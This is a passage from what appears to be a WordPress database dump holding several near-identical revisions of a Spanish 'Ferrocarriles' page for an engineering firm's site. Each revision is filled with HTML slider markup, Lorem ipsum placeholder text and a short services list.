</div>\n          </div>\n<div class=\"ports-left\">\n            <h3>ferrocarriles</h3>\n          <div class=\"our-mission\">Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nunc in ipsum dui, molestie egestas erat. Praesent nec arcu massa, ut semper nunc. Etiam purus nisl, semper eu condimentum eget, consequat posuere est. Sed porta, velit et lobortis pharetra, ipsum metus tincidunt nisl, eu ultrices lacus libero tristique purus. Duis pellentesque aliquam dui eget varius. Vestibulum ante ipsum primis in faucibus orci luctus et ultrices posuere cubilia Curae; Nunc rutrum est quis massa scelerisque nec dapibus mi porttitor. Mauris posuere fringilla ullamcorper. In a nunc nec sapien auctor fringilla. Pellentesque iaculis porttitor risus, nec lacinia nisi iaculis eget.</div>\n          <h3>&nbsp;</h3>\n</div>    \n       <div class=\"ports-right\">\n            <h3 >lista de servicios</h3>\n            <div class=\"services-list\">\nMovimiento de mercancÃas<br />\nCorredores de transporte<br />\nTerminales de transbordadores<br />\nServicios consultivos globales<br />\nCimentaciones profundas<br />\nAnÃ¡lisis de socavaciÃ³n<br />\n            </div>\n        </div>\n       <div class=\"clear\"></div>\n       <div class=\"brochure-wrapper-ports\">\n            <h3>publicaciones relevantes</h3><br />\n            <div class=\"brochure-one\">\n              <div class=\"brochure-black\"></div>\n              <div class=\"bordhure-text\"> <em class=\"aapa-date\">Folleto</em><br />\n                <strong class=\"green-new\"> Â¡TÃTULO AQUÃ!</strong><br />\n                Lorem ipsum dolor sit amet, consectetur adipiscing elit. Praesent nibh nunc, euismod at sodales at, molestie ac lorem. Maecenas id mollis urna. Pellentesque tempor pellentesque. </div>\n              <span class=\"moreheadlines-newone fr\"><a href=\"#\" title=\"Ver\">Ver</a> | <a href=\"#\" title=\"Descargar\">Descargar</a></span></div>\n            <div class=\"brochure-one\">\n              <div class=\"brochure-black\"></div>\n              <div class=\"bordhure-text-two\"> <em class=\"aapa-date\">Folleto</em><br />\n                <strong class=\"green-new\">Â¡TÃTULO AQUÃ!</strong><br />\n                Lorem ipsum dolor sit amet, consectetur adipiscing elit. Praesent nibh nunc, euismod at sodales at, molestie ac lorem. Maecenas id mollis urna. Pellentesque tempor pellentesque. </div>\n              <span class=\"moreheadlines-newone fr\"><a href=\"#\" title=\"Ver\">Ver</a> | <a href=\"#\" title=\"Descargar\">Descargar</a></span> </div>\n            <div class=\"brochure-one\">\n              <div class=\"brochure-black\"></div>\n              <div class=\"bordhure-text-two\"> <em class=\"aapa-date\">Calificaciones y experiencia profesional</em><br />\n                <strong class=\"green-new\">Â¡TÃTULO AQUÃ!</strong><br />\n                Lorem ipsum dolor sit amet, consectetur adipiscing elit. Praesent nibh nunc, euismod at sodales at, molestie ac lorem. Maecenas id mollis urna. Pellentesque tempor </div>\n              <span class=\"moreheadlines-newone fr\"><a href=\"#\" title=\"Ver\">Ver</a> | <a href=\"#\" title=\"Descargar\">Descargar</a></span> </div>\n            <div class=\"brochure-last\">\n              <div class=\"brochure-black\"></div>\n              <div class=\"bordhure-text-two\"> <em class=\"aapa-date\">PresentaciÃ³n</em><br />\n                <strong class=\"green-new\">Â¡TÃTULO AQUÃ!</strong><br />\n              Lorem ipsum dolor sit amet, consectetur adipiscing elit. Praesent nibh nunc, euismod at sodales at, molestie ac lorem. Maecenas id mollis urna. Pellentesque tempor pellentesque. </div>\n              <span class=\"moreheadlines-newone fr\"><a href=\"#\" title=\"Ver\">Ver</a> | <a href=\"#\" title=\"Descargar\">Descargar</a></span> </div>\n        </div>\n</div>\n  <div class=\"topbtn\"><a href=\"#top\" title=\"Volver al principio\">Volver al principio</a></div>       ','Ferrocarriles','','inherit','open','open','','348-revision','','','2011-10-25 06:22:18','2011-10-25 06:22:18','',348,'http://moffattnichol.com/spanish/348-revision/',0,'revision','',0),(2473,1,'2012-06-15 05:56:08','2012-06-15 05:56:08','','Ferrocarriles','','inherit','open','open','','348-revision-2','','','2012-06-15 05:56:08','2012-06-15 05:56:08','',348,'http://moffattnichol.com/spanish/348-revision-2/',0,'revision','',0),(2474,1,'2012-06-15 05:57:47','2012-06-15 05:57:47','<div class=\"content_faq\">\r\n<div class=\"banner-inner\">\r\n          <div class=\"slider-wrap\"></div>\r\n            <ul id=\"movers-row\">\r\n              <li class=\"featured_projects\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/featured_projects.jpg\" /></li>\r\n              <li class=\"cross-link-one\"><a href=\"#1\" class=\"cross-link\"></a></li>\r\n              <li class=\"cross-link-two\"><a href=\"#2\" class=\"cross-link\"></a></li>\r\n              <li class=\"cross-link-three\"><a href=\"#3\" class=\"cross-link\"></a></li>\r\n              <li class=\"cross-link-four\"><a href=\"#4\" class=\"cross-link\"></a></li>\r\n              <li class=\"cross-link-five\"><a href=\"#5\" class=\"cross-link\"></a></li>\r\n              <li class=\"cross-link-six\"><a href=\"#6\" class=\"cross-link\"></a></li>\r\n            </ul>\r\n            <div id=\"main-photo-slider\" class=\"csw\">\r\n              <div class=\"panelContainer\">\r\n                <div class=\"panel\" title=\"Ports & harbors\">\r\n                  <div class=\"wrapper\">\r\n                    <img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/ph_port_harbors.jpg\" alt=\"temp\" width=\"588\" height=\"296\" />\r\n                    <div class=\"photo-meta-data\">\r\n                      <div class=\"project_title\">\r\n                        <div class=\"project_left\"><strong class=\"green\">TÃTULO DE PROYECTO</strong><br />\r\n                          <em class=\"gray\">Cliente/fecha si es aplicable</em> </div>\r\n                        <div class=\"project_right\">Lorem ipsum dolor sit amet, consectetur adipiscing elit. Morbi sed pulvinar nisi.  hendrerit, tellus in congue fringilla, odio velit scelerisque nisl,  &nbsp;<span class=\"read_morenew\"><a href=\"#\">Leer mÃ¡s</a></span></div>\r\n                      </div>\r\n                    </div>\r\n                  </div>\r\n                </div>\r\n                <div class=\"panel\" title=\"coastal resourses\">\r\n                  <div class=\"wrapper\"> <img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/coastal_environmental.jpg\" alt=\"temp\" width=\"588\" height=\"296\" />\r\n                    <div class=\"photo-meta-data\">\r\n                      <div class=\"project_title\">\r\n                        <div class=\"project_left\"><strong class=\"green\">TÃTULO DE PROYECTO</strong><br />\r\n                          <em class=\"gray\">Cliente/fecha si es aplicable</em> </div>\r\n                        <div class=\"project_right\">Lorem ipsum dolor sit amet, consectetur adipiscing elit. Morbi sed pulvinar nisi.  hendrerit, tellus in congue fringilla, odio velit scelerisque nisl,  &nbsp;<span class=\"read_morenew\"><a href=\"#\">Leer mÃ¡s</a></span></div>\r\n                      </div>\r\n                    </div>\r\n                  </div>\r\n                </div>\r\n                <div class=\"panel\" title=\"Transportation\">\r\n                  <div class=\"wrapper\"> <img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/transportation.jpg\" alt=\"temp\" width=\"588\" height=\"296\" />\r\n                    <div class=\"photo-meta-data\">\r\n                      <div class=\"project_title\">\r\n                        <div class=\"project_left\"><strong class=\"green\">TÃTULO DE PROYECTO</strong><br />\r\n                          <em class=\"gray\">Cliente/fecha si es aplicable</em> </div>\r\n                        <div class=\"project_right\">Lorem ipsum dolor sit amet, consectetur adipiscing elit. Morbi sed pulvinar nisi.  hendrerit, tellus in congue fringilla, odio velit scelerisque nisl,  &nbsp;<span class=\"read_morenew\"><a href=\"#\">Leer mÃ¡s</a></span></div>\r\n                      </div>\r\n                    </div>\r\n                  </div>\r\n                </div>\r\n                <div class=\"panel\" title=\"Goods movement\">\r\n                  <div class=\"wrapper\"> <img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/uw_waterfronts_marinas.jpg\" alt=\"temp\" width=\"588\" height=\"296\" />\r\n                    <div class=\"photo-meta-data\">\r\n                      <div class=\"project_title\">\r\n                        <div class=\"project_left\"><strong class=\"green\">TÃTULO DE PROYECTO</strong><br />\r\n                          <em class=\"gray\">Cliente/fecha si es aplicable</em> </div>\r\n                        <div class=\"project_right\">Lorem ipsum dolor sit amet, consectetur adipiscing elit. Morbi sed pulvinar nisi.  hendrerit, tellus in congue fringilla, odio velit scelerisque nisl,  &nbsp;<span class=\"read_morenew\"><a href=\"#\">Leer mÃ¡s</a></span></div>\r\n                      </div>\r\n                    </div>\r\n                  </div>\r\n                </div>\r\n                <div class=\"panel\" title=\"Energy\">\r\n                  <div class=\"wrapper\"> <img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/energy_overview.jpg\" alt=\"temp\" width=\"588\" height=\"296\" />\r\n                    <div class=\"photo-meta-data\">\r\n                      <div class=\"project_title\">\r\n                        <div class=\"project_left\"><strong class=\"green\">TÃTULO DE PROYECTO</strong><br />\r\n                          <em class=\"gray\">Cliente/fecha si es aplicable</em> </div>\r\n                        <div class=\"project_right\">Lorem ipsum dolor sit amet, consectetur adipiscing elit. Morbi sed pulvinar nisi.  hendrerit, tellus in congue fringilla, odio velit scelerisque nisl,  &nbsp; <span class=\"read_morenew\"><a href=\"#\">Leer mÃ¡s</a></span></div>\r\n                      </div>\r\n                    </div>\r\n                  </div>\r\n                </div>\r\n                <div class=\"panel\" title=\"Oil services\">\r\n                  <div class=\"wrapper\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/inspection_banner.jpg\" width=\"588\" height=\"296\"/></div>\r\n                  <div class=\"photo-meta-data\">\r\n                    <div class=\"project_title\">\r\n                      <div class=\"project_left\"><strong class=\"green\">TÃTULO DE PROYECTO</strong><br />\r\n                        <em class=\"gray\">Cliente/fecha si es aplicable</em> </div>\r\n                      <div class=\"project_right\">Lorem ipsum dolor sit amet, consectetur adipiscing elit. Morbi sed pulvinar nisi.  hendrerit, tellus in congue fringilla, odio velit scelerisque nisl,  &nbsp;<span class=\"read_morenew\"><a href=\"#\">Leer mÃ¡s</a></span></div>\r\n                    </div>\r\n                  </div>\r\n                </div>\r\n              </div>\r\n            </div>\r\n          </div>\r\n<div class=\"ports-left\">\r\n            <h3>ferrocarriles</h3>\r\n          <div class=\"our-mission\">Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nunc in ipsum dui, molestie egestas erat. Praesent nec arcu massa, ut semper nunc. Etiam purus nisl, semper eu condimentum eget, consequat posuere est. Sed porta, velit et lobortis pharetra, ipsum metus tincidunt nisl, eu ultrices lacus libero tristique purus. Duis pellentesque aliquam dui eget varius. Vestibulum ante ipsum primis in faucibus orci luctus et ultrices posuere cubilia Curae; Nunc rutrum est quis massa scelerisque nec dapibus mi porttitor. Mauris posuere fringilla ullamcorper. In a nunc nec sapien auctor fringilla. Pellentesque iaculis porttitor risus, nec lacinia nisi iaculis eget.</div>\r\n          <h3>&nbsp;</h3>\r\n</div>    \r\n       <div class=\"ports-right\">\r\n            <h3 >lista de servicios</h3>\r\n            <div class=\"services-list\">\r\nMovimiento de mercancÃas<br />\r\nCorredores de transporte<br />\r\nTerminales de transbordadores<br />\r\nServicios consultivos globales<br />\r\nCimentaciones profundas<br />\r\nAnÃ¡lisis de socavaciÃ³n<br />\r\n            </div>\r\n        </div>\r\n       <div class=\"clear\"></div>\r\n       <div class=\"brochure-wrapper-ports\">\r\n            <h3>publicaciones relevantes</h3><br />\r\n            <div class=\"brochure-one\">\r\n              <div class=\"brochure-black\"></div>\r\n              <div class=\"bordhure-text\"> <em class=\"aapa-date\">Folleto</em><br />\r\n                <strong class=\"green-new\"> Â¡TÃTULO AQUÃ!</strong><br />\r\n                Lorem ipsum dolor sit amet, consectetur adipiscing elit. Praesent nibh nunc, euismod at sodales at, molestie ac lorem. Maecenas id mollis urna. Pellentesque tempor pellentesque. </div>\r\n              <span class=\"moreheadlines-newone fr\"><a href=\"#\" title=\"Ver\">Ver</a> | <a href=\"#\" title=\"Descargar\">Descargar</a></span></div>\r\n            <div class=\"brochure-one\">\r\n              <div class=\"brochure-black\"></div>\r\n              <div class=\"bordhure-text-two\"> <em class=\"aapa-date\">Folleto</em><br />\r\n                <strong class=\"green-new\">Â¡TÃTULO AQUÃ!</strong><br />\r\n                Lorem ipsum dolor sit amet, consectetur adipiscing elit. Praesent nibh nunc, euismod at sodales at, molestie ac lorem. Maecenas id mollis urna. Pellentesque tempor pellentesque. </div>\r\n              <span class=\"moreheadlines-newone fr\"><a href=\"#\" title=\"Ver\">Ver</a> | <a href=\"#\" title=\"Descargar\">Descargar</a></span> </div>\r\n            <div class=\"brochure-one\">\r\n              <div class=\"brochure-black\"></div>\r\n              <div class=\"bordhure-text-two\"> <em class=\"aapa-date\">Calificaciones y experiencia profesional</em><br />\r\n                <strong class=\"green-new\">Â¡TÃTULO AQUÃ!</strong><br />\r\n                Lorem ipsum dolor sit amet, consectetur adipiscing elit. Praesent nibh nunc, euismod at sodales at, molestie ac lorem. Maecenas id mollis urna. Pellentesque tempor </div>\r\n              <span class=\"moreheadlines-newone fr\"><a href=\"#\" title=\"Ver\">Ver</a> | <a href=\"#\" title=\"Descargar\">Descargar</a></span> </div>\r\n            <div class=\"brochure-last\">\r\n              <div class=\"brochure-black\"></div>\r\n              <div class=\"bordhure-text-two\"> <em class=\"aapa-date\">PresentaciÃ³n</em><br />\r\n                <strong class=\"green-new\">Â¡TÃTULO AQUÃ!</strong><br />\r\n              Lorem ipsum dolor sit amet, consectetur adipiscing elit. Praesent nibh nunc, euismod at sodales at, molestie ac lorem. Maecenas id mollis urna. Pellentesque tempor pellentesque. </div>\r\n              <span class=\"moreheadlines-newone fr\"><a href=\"#\" title=\"Ver\">Ver</a> | <a href=\"#\" title=\"Descargar\">Descargar</a></span> </div>\r\n        </div>\r\n</div>\r\n  <div class=\"topbtn\"><a href=\"#top\" title=\"Volver al principio\">Volver al principio</a></div>       ','Ferrocarriles','','inherit','open','open','','348-revision-3','','','2012-06-15 05:57:47','2012-06-15 05:57:47','',348,'http://moffattnichol.com/spanish/348-revision-3/',0,'revision','',0),(2475,1,'2012-06-15 06:00:04','2012-06-15 06:00:04','<div class=\"content_faq\">\r\n<div class=\"banner-inner\">\r\n          <div class=\"slider-wrap\"></div>\r\n            <ul id=\"movers-row\">\r\n              <li class=\"featured_projects\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/featured_projects.jpg\" /></li>\r\n              <li class=\"cross-link-one\"><a href=\"#1\" class=\"cross-link\"></a></li>\r\n              <li class=\"cross-link-two\"><a href=\"#2\" class=\"cross-link\"></a></li>\r\n              <li class=\"cross-link-three\"><a href=\"#3\" class=\"cross-link\"></a></li>\r\n              <li class=\"cross-link-four\"><a href=\"#4\" class=\"cross-link\"></a></li>\r\n              <li class=\"cross-link-five\"><a href=\"#5\" class=\"cross-link\"></a></li>\r\n              <li class=\"cross-link-six\"><a href=\"#6\" class=\"cross-link\"></a></li>\r\n            </ul>\r\n            <div id=\"main-photo-slider\" class=\"csw\">\r\n              <div class=\"panelContainer\">\r\n                <div class=\"panel\" title=\"Ports & harbors\">\r\n                  <div class=\"wrapper\">\r\n                    <img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/ph_port_harbors.jpg\" alt=\"temp\" width=\"588\" height=\"296\" />\r\n                    <div class=\"photo-meta-data\">\r\n                      <div class=\"project_title\">\r\n                        <div class=\"project_left\"><strong class=\"green\">TÃTULO DE PROYECTO</strong><br />\r\n                          <em class=\"gray\">Cliente/fecha si es aplicable</em> </div>\r\n                        <div class=\"project_right\">Lorem ipsum dolor sit amet, consectetur adipiscing elit. Morbi sed pulvinar nisi.  hendrerit, tellus in congue fringilla, odio velit scelerisque nisl,  &nbsp;<span class=\"read_morenew\"><a href=\"#\">Leer mÃ¡s</a></span></div>\r\n                      </div>\r\n                    </div>\r\n                  </div>\r\n                </div>\r\n                <div class=\"panel\" title=\"coastal resourses\">\r\n                  <div class=\"wrapper\"> <img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/coastal_environmental.jpg\" alt=\"temp\" width=\"588\" height=\"296\" />\r\n                    <div class=\"photo-meta-data\">\r\n                      <div class=\"project_title\">\r\n                        <div class=\"project_left\"><strong class=\"green\">TÃTULO DE PROYECTO</strong><br />\r\n                          <em class=\"gray\">Cliente/fecha si es aplicable</em> </div>\r\n                        <div class=\"project_right\">Lorem ipsum dolor sit amet, consectetur adipiscing elit. Morbi sed pulvinar nisi.  hendrerit, tellus in congue fringilla, odio velit scelerisque nisl,  &nbsp;<span class=\"read_morenew\"><a href=\"#\">Leer mÃ¡s</a></span></div>\r\n                      </div>\r\n                    </div>\r\n                  </div>\r\n                </div>\r\n                <div class=\"panel\" title=\"Transportation\">\r\n                  <div class=\"wrapper\"> <img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/transportation.jpg\" alt=\"temp\" width=\"588\" height=\"296\" />\r\n                    <div class=\"photo-meta-data\">\r\n                      <div class=\"project_title\">\r\n                        <div class=\"project_left\"><strong class=\"green\">TÃTULO DE PROYECTO</strong><br />\r\n                          <em class=\"gray\">Cliente/fecha si es aplicable</em> </div>\r\n                        <div class=\"project_right\">Lorem ipsum dolor sit amet, consectetur adipiscing elit. Morbi sed pulvinar nisi.  hendrerit, tellus in congue fringilla, odio velit scelerisque nisl,  &nbsp;<span class=\"read_morenew\"><a href=\"#\">Leer mÃ¡s</a></span></div>\r\n                      </div>\r\n                    </div>\r\n                  </div>\r\n                </div>\r\n                <div class=\"panel\" title=\"Goods movement\">\r\n                  <div class=\"wrapper\"> <img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/uw_waterfronts_marinas.jpg\" alt=\"temp\" width=\"588\" height=\"296\" />\r\n                    <div class=\"photo-meta-data\">\r\n                      <div class=\"project_title\">\r\n                        <div class=\"project_left\"><strong class=\"green\">TÃTULO DE PROYECTO</strong><br />\r\n                          <em class=\"gray\">Cliente/fecha si es aplicable</em> </div>\r\n                        <div class=\"project_right\">Lorem ipsum dolor sit amet, consectetur adipiscing elit. Morbi sed pulvinar nisi.  hendrerit, tellus in congue fringilla, odio velit scelerisque nisl,  &nbsp;<span class=\"read_morenew\"><a href=\"#\">Leer mÃ¡s</a></span></div>\r\n                      </div>\r\n                    </div>\r\n                  </div>\r\n                </div>\r\n                <div class=\"panel\" title=\"Energy\">\r\n                  <div class=\"wrapper\"> <img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/energy_overview.jpg\" alt=\"temp\" width=\"588\" height=\"296\" />\r\n                    <div class=\"photo-meta-data\">\r\n                      <div class=\"project_title\">\r\n                        <div class=\"project_left\"><strong class=\"green\">TÃTULO DE PROYECTO</strong><br />\r\n                          <em class=\"gray\">Cliente/fecha si es aplicable</em> </div>\r\n                        <div class=\"project_right\">Lorem ipsum dolor sit amet, consectetur adipiscing elit. Morbi sed pulvinar nisi.  hendrerit, tellus in congue fringilla, odio velit scelerisque nisl,  &nbsp; <span class=\"read_morenew\"><a href=\"#\">Leer mÃ¡s</a></span></div>\r\n                      </div>\r\n                    </div>\r\n                  </div>\r\n                </div>\r\n                <div class=\"panel\" title=\"Oil services\">\r\n                  <div class=\"wrapper\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/inspection_banner.jpg\" width=\"588\" height=\"296\"/></div>\r\n                  <div class=\"photo-meta-data\">\r\n                    <div class=\"project_title\">\r\n                      <div class=\"project_left\"><strong class=\"green\">TÃTULO DE PROYECTO</strong><br />\r\n                        <em class=\"gray\">Cliente/fecha si es aplicable</em> </div>\r\n                      <div class=\"project_right\">Lorem ipsum dolor sit amet, consectetur adipiscing elit. Morbi sed pulvinar nisi.  hendrerit, tellus in congue fringilla, odio velit scelerisque nisl,  &nbsp;<span class=\"read_morenew\"><a href=\"#\">Leer mÃ¡s</a></span></div>\r\n                    </div>\r\n                  </div>\r\n                </div>\r\n              </div>\r\n            </div>\r\n          </div>\r\n<div class=\"ports-left\">\r\n            <h3>ferrocarriles</h3>\r\n          <div class=\"our-mission\">Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nunc in ipsum dui, molestie egestas erat. Praesent nec arcu massa, ut semper nunc. Etiam purus nisl, semper eu condimentum eget, consequat posuere est. Sed porta, velit et lobortis pharetra, ipsum metus tincidunt nisl, eu ultrices lacus libero tristique purus. Duis pellentesque aliquam dui eget varius. Vestibulum ante ipsum primis in faucibus orci luctus et ultrices posuere cubilia Curae; Nunc rutrum est quis massa scelerisque nec dapibus mi porttitor. Mauris posuere fringilla ullamcorper. In a nunc nec sapien auctor fringilla. Pellentesque iaculis porttitor risus, nec lacinia nisi iaculis eget.</div>\r\n          <h3>&nbsp;</h3>\r\n</div>    \r\n       <div class=\"ports-right\">\r\n            <h3 >lista de servicios</h3>\r\n            <div class=\"services-list\">\r\nMovimiento de mercancÃas<br />\r\nCorredores de transporte<br />\r\nTerminales de transbordadores<br />\r\nServicios consultivos globales<br />\r\nCimentaciones profundas<br />\r\nAnÃ¡lisis de socavaciÃ³n<br />\r\n            </div>\r\n        </div>\r\n       <div class=\"clear\"></div>\r\n       <div class=\"brochure-wrapper-ports\">\r\n            <h3>publicaciones relevantes</h3><br />\r\n            <div class=\"brochure-one\">\r\n              <div class=\"brochure-black\"></div>\r\n              <div class=\"bordhure-text\"> <em class=\"aapa-date\">Folleto</em><br />\r\n                <strong class=\"green-new\"> Â¡TÃTULO AQUÃ!</strong><br />\r\n                Lorem ipsum dolor sit amet, consectetur adipiscing elit. Praesent nibh nunc, euismod at sodales at, molestie ac lorem. Maecenas id mollis urna. Pellentesque tempor pellentesque. </div>\r\n              <span class=\"moreheadlines-newone fr\"><a href=\"#\" title=\"Ver\">Ver</a> | <a href=\"#\" title=\"Descargar\">Descargar</a></span></div>\r\n            <div class=\"brochure-one\">\r\n              <div class=\"brochure-black\"></div>\r\n              <div class=\"bordhure-text-two\"> <em class=\"aapa-date\">Folleto</em><br />\r\n                <strong class=\"green-new\">Â¡TÃTULO AQUÃ!</strong><br />\r\n                Lorem ipsum dolor sit amet, consectetur adipiscing elit. Praesent nibh nunc, euismod at sodales at, molestie ac lorem. Maecenas id mollis urna. Pellentesque tempor pellentesque. </div>\r\n              <span class=\"moreheadlines-newone fr\"><a href=\"#\" title=\"Ver\">Ver</a> | <a href=\"#\" title=\"Descargar\">Descargar</a></span> </div>\r\n            <div class=\"brochure-one\">\r\n              <div class=\"brochure-black\"></div>\r\n              <div class=\"bordhure-text-two\"> <em class=\"aapa-date\">Calificaciones y experiencia profesional</em><br />\r\n                <strong class=\"green-new\">Â¡TÃTULO AQUÃ!</strong><br />\r\n                Lorem ipsum dolor sit amet, consectetur adipiscing elit. Praesent nibh nunc, euismod at sodales at, molestie ac lorem. Maecenas id mollis urna. Pellentesque tempor </div>\r\n              <span class=\"moreheadlines-newone fr\"><a href=\"#\" title=\"Ver\">Ver</a> | <a href=\"#\" title=\"Descargar\">Descargar</a></span> </div>\r\n            <div class=\"brochure-last\">\r\n              <div class=\"brochure-black\"></div>\r\n              <div class=\"bordhure-text-two\"> <em class=\"aapa-date\">PresentaciÃ³n</em><br />\r\n                <strong class=\"green-new\">Â¡TÃTULO AQUÃ!</strong><br />\r\n              Lorem ipsum dolor sit amet, consectetur adipiscing elit. Praesent nibh nunc, euismod at sodales at, molestie ac lorem. Maecenas id mollis urna. Pellentesque tempor pellentesque. </div>\r\n              <span class=\"moreheadlines-newone fr\"><a href=\"#\" title=\"Ver\">Ver</a> | <a href=\"#\" title=\"Descargar\">Descargar</a></span> </div>\r\n        </div>\r\n</div>\r\n  <div class=\"topbtn\"><a href=\"#top\" title=\"Volver al principio\">Volver al principio</a></div>       ','Ferrocarriles','','inherit','open','open','','348-revision-4','','','2012-06-15 06:00:04','2012-06-15 06:00:04','',348,'http://moffattnichol.com/spanish/348-revision-4/',0,'revision','',0),(2476,1,'2012-06-15 06:00:39','2012-06-15 06:00:39','<div class=\"content_faq\">\r\n<div class=\"banner-inner\">\r\n          <div class=\"slider-wrap\"></div>\r\n            <ul id=\"movers-row\">\r\n              <li class=\"featured_projects\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/featured_projects.jpg\" /></li>\r\n              <li class=\"cross-link-one\"><a href=\"#1\" class=\"cross-link\"></a></li>\r\n              <li class=\"cross-link-two\"><a href=\"#2\" class=\"cross-link\"></a></li>\r\n              <li class=\"cross-link-three\"><a href=\"#3\" class=\"cross-link\"></a></li>\r\n              <li class=\"cross-link-four\"><a href=\"#4\" class=\"cross-link\"></a></li>\r\n              <li class=\"cross-link-five\"><a href=\"#5\" class=\"cross-link\"></a></li>\r\n              <li class=\"cross-link-six\"><a href=\"#6\" class=\"cross-link\"></a></li>\r\n            </ul>\r\n            <div id=\"main-photo-slider\" class=\"csw\">\r\n              <div class=\"panelContainer\">\r\n                <div class=\"panel\" title=\"Ports & harbors\">\r\n                  <div class=\"wrapper\">\r\n                    <img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/ph_port_harbors.jpg\" alt=\"temp\" width=\"588\" height=\"296\" />\r\n                    <div class=\"photo-meta-data\">\r\n                      <div class=\"project_title\">\r\n                        <div class=\"project_left\"><strong class=\"green\">TÃTULO DE PROYECTO</strong><br />\r\n                          <em class=\"gray\">Cliente/fecha si es aplicable</em> </div>\r\n                        <div class=\"project_right\">Lorem ipsum dolor sit amet, consectetur adipiscing elit. Morbi sed pulvinar nisi.  hendrerit, tellus in congue fringilla, odio velit scelerisque nisl,  &nbsp;<span class=\"read_morenew\"><a href=\"#\">Leer mÃ¡s</a></span></div>\r\n                      </div>\r\n                    </div>\r\n                  </div>\r\n                </div>\r\n                <div class=\"panel\" title=\"coastal resourses\">\r\n                  <div class=\"wrapper\"> <img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/coastal_environmental.jpg\" alt=\"temp\" width=\"588\" height=\"296\" />\r\n                    <div class=\"photo-meta-data\">\r\n                      <div class=\"project_title\">\r\n                        <div class=\"project_left\"><strong class=\"green\">TÃTULO DE PROYECTO</strong><br />\r\n                          <em class=\"gray\">Cliente/fecha si es aplicable</em> </div>\r\n                        <div class=\"project_right\">Lorem ipsum dolor sit amet, consectetur adipiscing elit. Morbi sed pulvinar nisi.  hendrerit, tellus in congue fringilla, odio velit scelerisque nisl,  &nbsp;<span class=\"read_morenew\"><a href=\"#\">Leer mÃ¡s</a></span></div>\r\n                      </div>\r\n                    </div>\r\n                  </div>\r\n                </div>\r\n                <div class=\"panel\" title=\"Transportation\">\r\n                  <div class=\"wrapper\"> <img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/transportation.jpg\" alt=\"temp\" width=\"588\" height=\"296\" />\r\n                    <div class=\"photo-meta-data\">\r\n                      <div class=\"project_title\">\r\n                        <div class=\"project_left\"><strong class=\"green\">TÃTULO DE PROYECTO</strong><br />\r\n                          <em class=\"gray\">Cliente/fecha si es aplicable</em> </div>\r\n                        <div class=\"project_right\">Lorem ipsum dolor sit amet, consectetur adipiscing elit. Morbi sed pulvinar nisi.  hendrerit, tellus in congue fringilla, odio velit scelerisque nisl,  &nbsp;<span class=\"read_morenew\"><a href=\"#\">Leer mÃ¡s</a></span></div>\r\n                      </div>\r\n                    </div>\r\n                  </div>\r\n                </div>\r\n                <div class=\"panel\" title=\"Goods movement\">\r\n                  <div class=\"wrapper\"> <img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/uw_waterfronts_marinas.jpg\" alt=\"temp\" width=\"588\" height=\"296\" />\r\n                    <div class=\"photo-meta-data\">\r\n                      <div class=\"project_title\">\r\n                        <div class=\"project_left\"><strong class=\"green\">TÃTULO DE PROYECTO</strong><br />\r\n                          <em class=\"gray\">Cliente/fecha si es aplicable</em> </div>\r\n                        <div class=\"project_right\">Lorem ipsum dolor sit amet, consectetur adipiscing elit. Morbi sed pulvinar nisi.  hendrerit, tellus in congue fringilla, odio velit scelerisque nisl,  &nbsp;<span class=\"read_morenew\"><a href=\"#\">Leer mÃ¡s</a></span></div>\r\n                      </div>\r\n                    </div>\r\n                  </div>\r\n                </div>\r\n                <div class=\"panel\" title=\"Energy\">\r\n                  <div class=\"wrapper\"> <img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/energy_overview.jpg\" alt=\"temp\" width=\"588\" height=\"296\" />\r\n                    <div class=\"photo-meta-data\">\r\n                      <div class=\"project_title\">\r\n                        <div class=\"project_left\"><strong class=\"green\">TÃTULO DE PROYECTO</strong><br />\r\n                          <em class=\"gray\">Cliente/fecha si es aplicable</em> </div>\r\n                        <div class=\"project_right\">Lorem ipsum dolor sit amet, consectetur adipiscing elit. Morbi sed pulvinar nisi.  hendrerit, tellus in congue fringilla, odio velit scelerisque nisl,  &nbsp; <span class=\"read_morenew\"><a href=\"#\">Leer mÃ¡s</a></span></div>\r\n                      </div>\r\n                    </div>\r\n                  </div>\r\n                </div>\r\n                <div class=\"panel\" title=\"Oil services\">\r\n                  <div class=\"wrapper\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/inspection_banner.jpg\" width=\"588\" height=\"296\"/></div>\r\n                  <div class=\"photo-meta-data\">\r\n                    <div class=\"project_title\">\r\n                      <div class=\"project_left\"><strong class=\"green\">TÃTULO DE PROYECTO</strong><br />\r\n                        <em class=\"gray\">Cliente/fecha si es aplicable</em> </div>\r\n                      <div class=\"project_right\">Lorem ipsum dolor sit amet, consectetur adipiscing elit. Morbi sed pulvinar nisi.  hendrerit, tellus in congue fringilla, odio velit scelerisque nisl,  &nbsp;<span class=\"read_morenew\"><a href=\"#\">Leer mÃ¡s</a></span></div>\r\n                    </div>\r\n                  </div>\r\n                </div>\r\n              </div>\r\n            </div>\r\n          </div>\r\n<div class=\"ports-left\">\r\n            <h3>ferrocarriles</h3>\r\n          <div 